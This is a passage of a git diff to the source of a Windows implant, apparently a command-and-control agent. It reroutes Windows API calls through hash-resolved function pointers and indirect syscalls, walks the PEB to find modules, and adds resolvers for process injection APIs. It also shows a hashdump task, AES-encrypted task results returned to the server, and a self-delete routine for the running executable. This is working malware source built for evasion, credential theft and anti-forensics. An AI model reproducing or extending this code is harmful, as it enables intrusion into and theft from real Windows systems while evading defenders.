+ if (!pProcs->lpCryptBinaryToStringW( data.data(), static_cast(data.size()), CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, @@ -37,11 +37,11 @@ namespace Crypt return std::wstring(w64.begin(), w64.end()); } - std::vector Base64Decode(const std::wstring& w64) + std::vector Base64Decode(Procs::PPROCS pProcs, const std::wstring& w64) { // Get correct size. DWORD cbBinary = 0; - if (!CryptStringToBinaryW( + if (!pProcs->lpCryptStringToBinaryW( w64.c_str(), w64.length(), CRYPT_STRING_BASE64, @@ -55,7 +55,7 @@ namespace Crypt // Decode. std::vector bytes(cbBinary); - if (!CryptStringToBinaryW( + if (!pProcs->lpCryptStringToBinaryW( w64.c_str(), w64.length(), CRYPT_STRING_BASE64, @@ -89,7 +89,7 @@ namespace Crypt return std::vector(data.begin() + dwPadLen, data.end()); } - PCRYPT InitCrypt(const std::wstring& wKey64, const std::wstring& wIV64) + PCRYPT InitCrypt(Procs::PPROCS pProcs, const std::wstring& wKey64, const std::wstring& wIV64) { BCRYPT_ALG_HANDLE hAlg; BCRYPT_KEY_HANDLE hKey; @@ -101,11 +101,11 @@ namespace Crypt DWORD cbData = 0; // Decode Base64 key/iv - std::vector key = Base64Decode(wKey64); - std::vector iv = Base64Decode(wIV64); + std::vector key = Base64Decode(pProcs, wKey64); + std::vector iv = Base64Decode(pProcs, wIV64); // Open algorithm provider. - if (BCryptOpenAlgorithmProvider( + if (pProcs->lpBCryptOpenAlgorithmProvider( &hAlg, BCRYPT_AES_ALGORITHM, nullptr, @@ -115,7 +115,7 @@ namespace Crypt } // Calculate the size of the buffer to hold the key object. - if (BCryptGetProperty( + if (pProcs->lpBCryptGetProperty( hAlg, BCRYPT_OBJECT_LENGTH, (PBYTE)&cbKeyObj, @@ -134,7 +134,7 @@ namespace Crypt } // Calculate the block length. - if (BCryptGetProperty( + if (pProcs->lpBCryptGetProperty( hAlg, BCRYPT_BLOCK_LENGTH, (PBYTE)&cbBlockLen, @@ -150,7 +150,7 @@ namespace Crypt return nullptr; } - if (BCryptSetProperty( + if (pProcs->lpBCryptSetProperty( hAlg, BCRYPT_CHAINING_MODE, (PBYTE)BCRYPT_CHAIN_MODE_CBC, @@ -161,7 +161,7 @@ namespace Crypt } // Generate key object. - if (BCryptGenerateSymmetricKey( + if (pProcs->lpBCryptGenerateSymmetricKey( hAlg, &hKey, pbKeyObj, @@ -190,6 +190,7 @@ namespace Crypt } std::wstring Encrypt( + Procs::PPROCS pProcs, const std::vector plaindata, BCRYPT_KEY_HANDLE hKey, std::vector iv @@ -197,7 +198,7 @@ namespace Crypt DWORD cbData = 0; // Get the output buffer size. - if(BCryptEncrypt( + if(pProcs->lpBCryptEncrypt( hKey, (PBYTE)plaindata.data(), plaindata.size(), @@ -216,7 +217,7 @@ namespace Crypt // Use the key to encrypt the plaintext buffer. // For block sized messages, block padding will add an extra block. - if(BCryptEncrypt( + if(pProcs->lpBCryptEncrypt( hKey, (PBYTE)plaindata.data(), plaindata.size(), @@ -232,10 +233,11 @@ namespace Crypt } // Base64 encode - return Base64Encode(cipherdata); + return Base64Encode(pProcs, cipherdata); } std::vector Decrypt( + Procs::PPROCS pProcs, const std::wstring& ciphertext, BCRYPT_KEY_HANDLE hKey, std::vector iv @@ -244,10 +246,10 @@ namespace Crypt NTSTATUS ntStatus; // Decode Base64 - std::vector cipherdata = Base64Decode(ciphertext); + std::vector cipherdata = Base64Decode(pProcs, ciphertext); // Get the output buffer size. - ntStatus = BCryptDecrypt( + ntStatus = pProcs->lpBCryptDecrypt( hKey, cipherdata.data(), cipherdata.size(), @@ -266,7 +268,7 @@ namespace Crypt std::vector plaindata(cbPlaindata); - ntStatus = BCryptDecrypt( + ntStatus = pProcs->lpBCryptDecrypt( hKey, cipherdata.data(), cipherdata.size(), @@ -290,18 +292,19 @@ namespace Crypt } VOID Cleanup( + Procs::PPROCS pProcs, BCRYPT_ALG_HANDLE hAlg, BCRYPT_KEY_HANDLE hKey, PBYTE pbKeyObj ) { if(hAlg) { - BCryptCloseAlgorithmProvider(hAlg,0); + pProcs->lpBCryptCloseAlgorithmProvider(hAlg,0); } if (hKey) { - BCryptDestroyKey(hKey); + pProcs->lpBCryptDestroyKey(hKey); } if(pbKeyObj) diff --git a/payload/win/implant/src/core/handler.cpp b/payload/win/implant/src/core/handler.cpp index 42ae93c..60212bc 100644 --- a/payload/win/implant/src/core/handler.cpp +++ b/payload/win/implant/src/core/handler.cpp @@ -143,6 +143,7 @@ namespace Handler // We need to decrypt and encrypt to send back the task value for server-side decryption correctly. std::vector taskDec = Crypt::Decrypt( + pState->pProcs, wTaskEnc, pState->pCrypt->pAES->hKey, pState->pCrypt->pAES->iv @@ -153,6 +154,7 @@ namespace Handler } pState->wTask = Crypt::Encrypt( + pState->pProcs, taskDec, pState->pCrypt->pAES->hKey, pState->pCrypt->pAES->iv @@ -225,7 +227,7 @@ namespace Handler ); break; case TASK_GROUP_LS: - wTaskResult = Task::GroupLs(); + wTaskResult = Task::GroupLs(pState); break; case TASK_HASHDUMP: wTaskResult = Task::Hashdump(pState); @@ -407,6 +409,7 @@ namespace Handler // Encrypt task result std::string sTaskResultJSON = pState->taskResultJSON.dump(); std::wstring wEnc = Crypt::Encrypt( + pState->pProcs, std::vector(sTaskResultJSON.begin(), sTaskResultJSON.end()), pState->pCrypt->pAES->hKey, pState->pCrypt->pAES->iv diff --git a/payload/win/implant/src/core/procs.cpp b/payload/win/implant/src/core/procs.cpp index 5e7a652..2835ec4 100644 --- a/payload/win/implant/src/core/procs.cpp +++ b/payload/win/implant/src/core/procs.cpp @@ -53,14 +53,16 @@ namespace Procs PVOID GetModuleByHash(DWORD dwHash) { - PPEB pPeb = (PPEB)PPEB_PTR; + PTEB pTeb = NtCurrentTeb(); + // PPEB pPeb = (PPEB)PPEB_PTR; + PPEB pPeb = pTeb->ProcessEnvironmentBlock; PPEB_LDR_DATA pLdr = (PPEB_LDR_DATA)pPeb->Ldr; // Get the first entry PLDR_DATA_TABLE_ENTRY pDte = (PLDR_DATA_TABLE_ENTRY)pLdr->InLoadOrderModuleList.Flink; while (pDte) - { + { if (StringToHashModule(pDte->BaseDllName.Buffer, pDte->BaseDllName.Length) == dwHash) { return pDte->DllBase; @@ -73,6 +75,38 @@ namespace Procs return nullptr; } + // Load a module with LdrLoadDll. + PVOID LoadModule(PPROCS pProcs, LPWSTR lpDllName) + { + PVOID pModule = nullptr; + LPCWSTR lpcDllName = static_cast(lpDllName); + + // Get string length + LPCWSTR wStr2; + for (wStr2 = lpcDllName; *wStr2; ++wStr2); + USHORT uDllNameLen = (wStr2 - lpcDllName) * sizeof(WCHAR); + + UNICODE_STRING usDllName = {0}; + usDllName.Buffer = lpDllName; + usDllName.Length = uDllNameLen; + usDllName.MaximumLength = uDllNameLen + sizeof(WCHAR); + + NTSTATUS status = CallSysInvoke( + &pProcs->sysLdrLoadDll, + pProcs->lpLdrLoadDll, + nullptr, + nullptr, + &usDllName, + &pModule + ); + if (status != STATUS_SUCCESS || !pModule) + { + return nullptr; + } + + return pModule; + } + PVOID GetProcAddressByHash( HMODULE hModule, DWORD dwHash @@ -112,12 +146,13 @@ namespace Procs PPROCS FindProcs( HMODULE hNTDLL, HMODULE hKernel32DLL, - HMODULE hWinHTTPDLL, BOOL bIndirectSyscalls ) { PPROCS pProcs = new PROCS; - // NTAPI + // NTAPI (Ntdll) + PVOID pLdrLoadDll = GetProcAddressByHash(hNTDLL, HASH_FUNC_LDRLOADDLL); + pProcs->lpLdrLoadDll = reinterpret_cast(pLdrLoadDll); PVOID pNtAdjustPrivilegesToken = GetProcAddressByHash(hNTDLL, HASH_FUNC_NTADJUSTPRIVILEGESTOKEN); pProcs->lpNtAdjustPrivilegesToken = reinterpret_cast(pNtAdjustPrivilegesToken); PVOID pNtAllocateVirtualMemory = GetProcAddressByHash(hNTDLL, HASH_FUNC_NTALLOCATEVIRTUALMEMORY); @@ -205,40 +240,79 @@ namespace Procs PVOID pRtlZeroMemory = GetProcAddressByHash(hNTDLL, HASH_FUNC_RTLZEROMEMORY); pProcs->lpRtlZeroMemory = reinterpret_cast(pRtlZeroMemory); - // WINAPI + // WINAPI (Kernel32) PVOID pCheckRemoteDebuggerPresent = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_CHECKREMOTEDEBUGGERPRESENT); pProcs->lpCheckRemoteDebuggerPresent = reinterpret_cast(pCheckRemoteDebuggerPresent); + PVOID pCloseHandle = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_CLOSEHANDLE); + pProcs->lpCloseHandle = reinterpret_cast(pCloseHandle); + PVOID pCreateFileW = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_CREATEFILEW); + pProcs->lpCreateFileW = reinterpret_cast(pCreateFileW); + PVOID pCreatePipe = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_CREATEPIPE); + pProcs->lpCreatePipe = reinterpret_cast(pCreatePipe); + PVOID pCreateProcessW = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_CREATEPROCESSW); + pProcs->lpCreateProcessW = reinterpret_cast(pCreateProcessW); + PVOID pCreateRemoteThreadEx = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_CREATEREMOTETHREADEX); + pProcs->lpCreateRemoteThreadEx = reinterpret_cast(pCreateRemoteThreadEx); + PVOID pGetComputerNameW = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_GETCOMPUTERNAMEW); + pProcs->lpGetComputerNameW = reinterpret_cast(pGetComputerNameW); + PVOID pExpandEnvironmentStringsW = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_EXPANDENVIRONMENTSTRINGSW); + pProcs->lpExpandEnvironmentStringsW = reinterpret_cast(pExpandEnvironmentStringsW); + PVOID pFreeEnvironmentStringsW = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_FREEENVIRONMENTSTRINGSW); + pProcs->lpFreeEnvironmentStringsW = reinterpret_cast(pFreeEnvironmentStringsW); + PVOID pFindFirstFileW = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_FINDFIRSTFILEW); + pProcs->lpFindFirstFileW = reinterpret_cast(pFindFirstFileW); + PVOID pFindNextFileW = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_FINDNEXTFILEW); + pProcs->lpFindNextFileW = reinterpret_cast(pFindNextFileW); + PVOID pGetEnvironmentStringsW = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_GETENVIRONMENTSTRINGSW); + pProcs->lpGetEnvironmentStringsW = reinterpret_cast(pGetEnvironmentStringsW); + PVOID pGetLastError = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_GETLASTERROR); + pProcs->lpGetLastError = reinterpret_cast(pGetLastError); + PVOID pGetModuleFileNameW = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_GETMODULEFILENAMEW); + pProcs->lpGetModuleFileNameW = reinterpret_cast(pGetModuleFileNameW); + PVOID pGetProcessHeap = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_GETPROCESSHEAP); + pProcs->lpGetProcessHeap = reinterpret_cast(pGetProcessHeap); + PVOID pGetSystemDirectoryW = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_GETSYSTEMDIRECTORYW); + pProcs->lpGetSystemDirectoryW = reinterpret_cast(pGetSystemDirectoryW); + PVOID pHeapAlloc = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_HEAPALLOC); + pProcs->lpHeapAlloc = reinterpret_cast(pHeapAlloc); + PVOID pHeapFree = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_HEAPFREE); + pProcs->lpHeapFree = reinterpret_cast(pHeapFree); + PVOID pLoadLibraryA = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_LOADLIBRARYA); + pProcs->lpLoadLibraryA = reinterpret_cast(pLoadLibraryA); + PVOID pLoadLibraryW = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_LOADLIBRARYW); + pProcs->lpLoadLibraryW = reinterpret_cast(pLoadLibraryW); PVOID pIsDebuggerPresent = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_ISDEBUGGERPRESENT); pProcs->lpIsDebuggerPresent = reinterpret_cast(pIsDebuggerPresent); + PVOID pOpenProcess = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_OPENPROCESS); + pProcs->lpOpenProcess = reinterpret_cast(pOpenProcess); + PVOID pOpenProcessToken = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_OPENPROCESSTOKEN); + pProcs->lpOpenProcessToken = reinterpret_cast(pOpenProcessToken); PVOID pQueryFullProcessImageNameW = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_QUERYFULLPROCESSIMAGENAMEW); pProcs->lpQueryFullProcessImageNameW = reinterpret_cast(pQueryFullProcessImageNameW); + PVOID pReadFile = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_READFILE); + pProcs->lpReadFile = reinterpret_cast(pReadFile); + PVOID pReadProcessMemory = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_READPROCESSMEMORY); + pProcs->lpReadProcessMemory = reinterpret_cast(pReadProcessMemory); + PVOID pRtlCopyMemory = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_RTLCOPYMEMORY); + pProcs->lpRtlCopyMemory = reinterpret_cast(pRtlCopyMemory); PVOID pSetFileInformationByHandle = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_SETFILEINFORMATIONBYHANDLE); pProcs->lpSetFileInformationByHandle = reinterpret_cast(pSetFileInformationByHandle); - PVOID pWinHttpCloseHandle = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPCLOSEHANDLE); - pProcs->lpWinHttpCloseHandle = reinterpret_cast(pWinHttpCloseHandle); - PVOID pWinHttpConnect = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPCONNECT); - pProcs->lpWinHttpConnect = reinterpret_cast(pWinHttpConnect); - PVOID pWinHttpOpen = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPOPEN); - pProcs->lpWinHttpOpen = reinterpret_cast(pWinHttpOpen); - PVOID pWinHttpOpenRequest = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPOPENREQUEST); - pProcs->lpWinHttpOpenRequest = reinterpret_cast(pWinHttpOpenRequest); - PVOID pWinHttpQueryDataAvailable = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPQUERYDATAAVAILABLE); - pProcs->lpWinHttpQueryDataAvailable = reinterpret_cast(pWinHttpQueryDataAvailable); - PVOID pWinHttpQueryHeaders = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPQUERYHEADERS); - pProcs->lpWinHttpQueryHeaders = reinterpret_cast(pWinHttpQueryHeaders); - PVOID pWinHttpReceiveResponse = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPRECEIVERESPONSE); - pProcs->lpWinHttpReceiveResponse = reinterpret_cast(pWinHttpReceiveResponse); - PVOID pWinHttpReadData = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPREADDATA); - pProcs->lpWinHttpReadData = reinterpret_cast(pWinHttpReadData); - PVOID pWinHttpSendRequest = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPSENDREQUEST); - pProcs->lpWinHttpSendRequest = reinterpret_cast(pWinHttpSendRequest); - PVOID pWinHttpSetOption = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPSETOPTION); - pProcs->lpWinHttpSetOption = reinterpret_cast(pWinHttpSetOption); - PVOID pWinHttpWriteData = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPWRITEDATA); - pProcs->lpWinHttpWriteData = reinterpret_cast(pWinHttpWriteData); - + PVOID pSetHandleInformation = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_SETHANDLEINFORMATION); + pProcs->lpSetHandleInformation = reinterpret_cast(pSetHandleInformation); + PVOID pTerminateProcess = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_TERMINATEPROCESS); + pProcs->lpTerminateProcess = reinterpret_cast(pTerminateProcess); + PVOID pVirtualAllocEx = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_VIRTUALALLOCEX); + pProcs->lpVirtualAllocEx = reinterpret_cast(pVirtualAllocEx); + PVOID pVirtualFree = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_VIRTUALFREE); + pProcs->lpVirtualFree = reinterpret_cast(pVirtualFree); + PVOID pVirtualProtectEx = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_VIRTUALPROTECTEX); + pProcs->lpVirtualProtectEx = reinterpret_cast(pVirtualProtectEx); + PVOID pWriteProcessMemory = GetProcAddressByHash(hKernel32DLL, HASH_FUNC_WRITEPROCESSMEMORY); + pProcs->lpWriteProcessMemory = reinterpret_cast(pWriteProcessMemory); + if (bIndirectSyscalls) { + pProcs->sysLdrLoadDll = Syscalls::FindSyscall(reinterpret_cast(pLdrLoadDll)); pProcs->sysNtAdjustPrivilegesToken = Syscalls::FindSyscall(reinterpret_cast(pNtAdjustPrivilegesToken)); pProcs->sysNtAllocateVirtualMemory = Syscalls::FindSyscall(reinterpret_cast(pNtAllocateVirtualMemory)); pProcs->sysNtClose = Syscalls::FindSyscall(reinterpret_cast(pNtClose)); @@ -282,4 +356,87 @@ namespace Procs return pProcs; } + + VOID FindProcsMisc( + Procs::PPROCS pProcs, + HMODULE hAdvapi32DLL, + HMODULE hBcryptDLL, + HMODULE hCrypt32DLL, + HMODULE hNetapi32DLL, + HMODULE hWinHTTPDLL + ) { + // Advapi32 + PVOID pGetUserNameW = GetProcAddressByHash(hAdvapi32DLL, HASH_FUNC_GETUSERNAMEW); + pProcs->lpGetUserNameW = reinterpret_cast(pGetUserNameW); + PVOID pAdjustTokenPrivileges = GetProcAddressByHash(hAdvapi32DLL, HASH_FUNC_ADJUSTTOKENPRIVILEGES); + pProcs->lpAdjustTokenPrivileges = reinterpret_cast(pAdjustTokenPrivileges); + PVOID pLookupPrivilegeValueW = GetProcAddressByHash(hAdvapi32DLL, HASH_FUNC_LOOKUPPRIVILEGEVALUEW); + pProcs->lpLookupPrivilegeValueW = reinterpret_cast(pLookupPrivilegeValueW); + PVOID pPrivilegeCheck = GetProcAddressByHash(hAdvapi32DLL, HASH_FUNC_PRIVILEGECHECK); + pProcs->lpPrivilegeCheck = reinterpret_cast(pPrivilegeCheck); + PVOID pRegCloseKey = GetProcAddressByHash(hAdvapi32DLL, HASH_FUNC_REGCLOSEKEY); + pProcs->lpRegCloseKey = reinterpret_cast(pRegCloseKey); + PVOID pRegEnumKeyExW = GetProcAddressByHash(hAdvapi32DLL, HASH_FUNC_REGENUMKEYEXW); + pProcs->lpRegEnumKeyExW = reinterpret_cast(pRegEnumKeyExW); + PVOID pRegOpenKeyExW = GetProcAddressByHash(hAdvapi32DLL, HASH_FUNC_REGOPENKEYEXW); + pProcs->lpRegOpenKeyExW = reinterpret_cast(pRegOpenKeyExW); + PVOID pRegQueryInfoKeyW = GetProcAddressByHash(hAdvapi32DLL, HASH_FUNC_REGQUERYINFOKEYW); + pProcs->lpRegQueryInfoKeyW = reinterpret_cast(pRegQueryInfoKeyW); + + // Bcrypt + PVOID pBCryptCloseAlgorithmProvider = GetProcAddressByHash(hBcryptDLL, HASH_FUNC_BCRYPTCLOSEALGORITHMPROVIDER); + pProcs->lpBCryptCloseAlgorithmProvider = reinterpret_cast(pBCryptCloseAlgorithmProvider); + PVOID pBCryptDecrypt = GetProcAddressByHash(hBcryptDLL, HASH_FUNC_BCRYPTDECRYPT); + pProcs->lpBCryptDecrypt = reinterpret_cast(pBCryptDecrypt); + PVOID pBCryptDestroyKey = GetProcAddressByHash(hBcryptDLL, HASH_FUNC_BCRYPTDESTROYKEY); + pProcs->lpBCryptDestroyKey = reinterpret_cast(pBCryptDestroyKey); + PVOID pBCryptEncrypt = GetProcAddressByHash(hBcryptDLL, HASH_FUNC_BCRYPTENCRYPT); + pProcs->lpBCryptEncrypt = reinterpret_cast(pBCryptEncrypt); + PVOID pBCryptGenerateSymmetricKey = GetProcAddressByHash(hBcryptDLL, HASH_FUNC_BCRYPTGENERATESYMMETRICKEY); + pProcs->lpBCryptGenerateSymmetricKey = reinterpret_cast(pBCryptGenerateSymmetricKey); + PVOID pBCryptGetProperty = GetProcAddressByHash(hBcryptDLL, HASH_FUNC_BCRYPTGETPROPERTY); + pProcs->lpBCryptGetProperty = reinterpret_cast(pBCryptGetProperty); + PVOID pBCryptOpenAlgorithmProvider = GetProcAddressByHash(hBcryptDLL, HASH_FUNC_BCRYPTOPENALGORITHMPROVIDER); + pProcs->lpBCryptOpenAlgorithmProvider = reinterpret_cast(pBCryptOpenAlgorithmProvider); + PVOID pBCryptSetProperty = GetProcAddressByHash(hBcryptDLL, HASH_FUNC_BCRYPTSETPROPERTY); + pProcs->lpBCryptSetProperty = reinterpret_cast(pBCryptSetProperty); + + // Crypt32 + PVOID pCryptBinaryToStringW = GetProcAddressByHash(hCrypt32DLL, HASH_FUNC_CRYPTBINARYTOSTRINGW); + pProcs->lpCryptBinaryToStringW = reinterpret_cast(pCryptBinaryToStringW); + PVOID pCryptStringToBinaryW = GetProcAddressByHash(hCrypt32DLL, HASH_FUNC_CRYPTSTRINGTOBINARYW); + pProcs->lpCryptStringToBinaryW = reinterpret_cast(pCryptStringToBinaryW); + + // Netapi32 + PVOID pNetApiBufferFree = GetProcAddressByHash(hNetapi32DLL, HASH_FUNC_NETAPIBUFFERFREE); + pProcs->lpNetApiBufferFree = reinterpret_cast(pNetApiBufferFree); + PVOID pNetLocalGroupEnum = GetProcAddressByHash(hNetapi32DLL, HASH_FUNC_NETLOCALGROUPENUM); + pProcs->lpNetLocalGroupEnum = reinterpret_cast(pNetLocalGroupEnum); + PVOID pNetUserEnum = GetProcAddressByHash(hNetapi32DLL, HASH_FUNC_NETUSERENUM); + pProcs->lpNetUserEnum = reinterpret_cast(pNetUserEnum); + + // WinHttp + PVOID pWinHttpCloseHandle = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPCLOSEHANDLE); + pProcs->lpWinHttpCloseHandle = reinterpret_cast(pWinHttpCloseHandle); + PVOID pWinHttpConnect = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPCONNECT); + pProcs->lpWinHttpConnect = reinterpret_cast(pWinHttpConnect); + PVOID pWinHttpOpen = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPOPEN); + pProcs->lpWinHttpOpen = reinterpret_cast(pWinHttpOpen); + PVOID pWinHttpOpenRequest = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPOPENREQUEST); + pProcs->lpWinHttpOpenRequest = reinterpret_cast(pWinHttpOpenRequest); + PVOID pWinHttpQueryDataAvailable = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPQUERYDATAAVAILABLE); + pProcs->lpWinHttpQueryDataAvailable = reinterpret_cast(pWinHttpQueryDataAvailable); + PVOID pWinHttpQueryHeaders = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPQUERYHEADERS); + pProcs->lpWinHttpQueryHeaders = reinterpret_cast(pWinHttpQueryHeaders); + PVOID pWinHttpReceiveResponse = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPRECEIVERESPONSE); + pProcs->lpWinHttpReceiveResponse = reinterpret_cast(pWinHttpReceiveResponse); + PVOID pWinHttpReadData = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPREADDATA); + pProcs->lpWinHttpReadData = reinterpret_cast(pWinHttpReadData); + PVOID pWinHttpSendRequest = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPSENDREQUEST); + pProcs->lpWinHttpSendRequest = reinterpret_cast(pWinHttpSendRequest); + PVOID pWinHttpSetOption = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPSETOPTION); + pProcs->lpWinHttpSetOption = reinterpret_cast(pWinHttpSetOption); + PVOID pWinHttpWriteData = GetProcAddressByHash(hWinHTTPDLL, HASH_FUNC_WINHTTPWRITEDATA); + pProcs->lpWinHttpWriteData = reinterpret_cast(pWinHttpWriteData); + } } diff --git a/payload/win/implant/src/core/state.cpp b/payload/win/implant/src/core/state.cpp index 363df11..5a91e4e 100644 --- a/payload/win/implant/src/core/state.cpp +++ b/payload/win/implant/src/core/state.cpp @@ -6,6 +6,7 @@ namespace State { // Free allocated buffers of crypto Crypt::Cleanup( + pState->pProcs, pState->pCrypt->pAES->hAlg, pState->pCrypt->pAES->hKey, pState->pCrypt->pAES->pbKeyObj @@ -20,7 +21,11 @@ namespace State ); // Free loaded modules. + FreeLibrary(pState->hAdvapi32DLL); + FreeLibrary(pState->hBcryptDLL); + FreeLibrary(pState->hCrypt32DLL); FreeLibrary(pState->hKernel32DLL); + FreeLibrary(pState->hNetapi32DLL); FreeLibrary(pState->hNTDLL); FreeLibrary(pState->hWinHTTPDLL); diff --git a/payload/win/implant/src/core/system/env.cpp b/payload/win/implant/src/core/system/env.cpp index 928910a..1f680f4 100644 --- a/payload/win/implant/src/core/system/env.cpp +++ b/payload/win/implant/src/core/system/env.cpp @@ -6,7 +6,7 @@ namespace System::Env { wchar_t envStrings[INFO_BUFFER_SIZE]; - DWORD envStringsLen = ExpandEnvironmentStringsW( + DWORD envStringsLen = pProcs->lpExpandEnvironmentStringsW( envVar.c_str(), envStrings, INFO_BUFFER_SIZE @@ -27,7 +27,7 @@ namespace System::Env NTSTATUS status; // Get all environment variables. - LPWCH pwStrings = GetEnvironmentStringsW(); + LPWCH pwStrings = pProcs->lpGetEnvironmentStringsW(); PCWSTR pwEnv = (PCWSTR)pwStrings; while (*pwEnv != '\0') @@ -65,7 +65,7 @@ namespace System::Env } - FreeEnvironmentStringsW(pwStrings); + pProcs->lpFreeEnvironmentStringsW(pwStrings); return result; } diff --git a/payload/win/implant/src/core/system/fs.cpp b/payload/win/implant/src/core/system/fs.cpp index 997fe91..053fa6f 100644 --- a/payload/win/implant/src/core/system/fs.cpp +++ b/payload/win/implant/src/core/system/fs.cpp @@ -5,9 +5,9 @@ DWORD g_dwBytesTransferred = 0; namespace System::Fs { VOID CALLBACK FileIOCompletionRoutine( - DWORD dwErrorCode, - DWORD dwNumberOfBytesTransfered, - LPOVERLAPPED lpOverlapped + DWORD dwErrorCode, + DWORD dwNumberOfBytesTransfered, + LPOVERLAPPED lpOverlapped ) { // std::string sNumberOfBytesTransferred = std::to_string(dwNumberOfBytesTransfered); g_dwBytesTransferred = dwNumberOfBytesTransfered; @@ -84,8 +84,11 @@ namespace System::Fs return hDir; } - std::vector DirectoryGetFiles(Procs::PPROCS pProcs, const std::wstring& wDirPath, BOOL bRecurse) - { + std::vector DirectoryGetFiles( + Procs::PPROCS pProcs, + const std::wstring& wDirPath, + BOOL bRecurse + ) { std::vector files = {}; WIN32_FIND_DATA ffd; @@ -97,7 +100,7 @@ namespace System::Fs pProcs->lpRtlStringCchCopyW(wTargetDir, MAX_PATH, wDirPath.c_str()); pProcs->lpRtlStringCchCatW(wTargetDir, MAX_PATH, TEXT("\\*")); - hFind = FindFirstFile(wTargetDir, &ffd); + hFind = pProcs->lpFindFirstFileW(wTargetDir, &ffd); if (hFind == INVALID_HANDLE_VALUE) { return files; @@ -139,7 +142,7 @@ namespace System::Fs { files.push_back(wFullPathName); } - } while (FindNextFile(hFind, &ffd) != 0); + } while (pProcs->lpFindNextFileW(hFind, &ffd) != 0); return files; } @@ -466,7 +469,7 @@ namespace System::Fs renameInfo.RootDirectory = nullptr; renameInfo.FileNameLength = uniDest.Length; - RtlCopyMemory(renameInfo.FileName, uniDest.Buffer, uniDest.Length); + pProcs->lpRtlCopyMemory(renameInfo.FileName, uniDest.Buffer, uniDest.Length); status = CallSysInvoke( &pProcs->sysNtSetInformationFile, @@ -559,7 +562,11 @@ namespace System::Fs SIZE_T dwStreamLength = wcslen(lpNewStream) * sizeof(wchar_t); SIZE_T dwRename = sizeof(FILE_RENAME_INFO) + dwStreamLength; - PFILE_RENAME_INFO pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwRename); + PFILE_RENAME_INFO pRename = (PFILE_RENAME_INFO)pProcs->lpHeapAlloc( + pProcs->lpGetProcessHeap(), + HEAP_ZERO_MEMORY, + dwRename + ); if (!pRename) { return FALSE; @@ -568,23 +575,23 @@ namespace System::Fs WCHAR wPath[MAX_PATH * 2] = {0}; FILE_DISPOSITION_INFO fdi = {0}; - ZeroMemory(wPath, sizeof(wPath)); - ZeroMemory(&fdi, sizeof(FILE_DISPOSITION_INFO)); + RtlZeroMemory(wPath, sizeof(wPath)); + RtlZeroMemory(&fdi, sizeof(FILE_DISPOSITION_INFO)); fdi.DeleteFile = TRUE; pRename->FileNameLength = dwStreamLength; - RtlCopyMemory(pRename->FileName, lpNewStream, dwStreamLength); + pProcs->lpRtlCopyMemory(pRename->FileName, lpNewStream, dwStreamLength); // Get the path for the current executable itself. - if (GetModuleFileNameW(NULL, wPath, MAX_PATH * 2) == 0) + if (pProcs->lpGetModuleFileNameW(NULL, wPath, MAX_PATH * 2) == 0) { return FALSE; } // Rename HANDLE hFile; - hFile = CreateFileW( + hFile = pProcs->lpCreateFileW( wPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, @@ -604,10 +611,10 @@ namespace System::Fs return FALSE; } - CloseHandle(hFile); + pProcs->lpCloseHandle(hFile); // Delete - hFile = CreateFileW( + hFile = pProcs->lpCreateFileW( wPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, @@ -626,8 +633,9 @@ namespace System::Fs return FALSE; } - 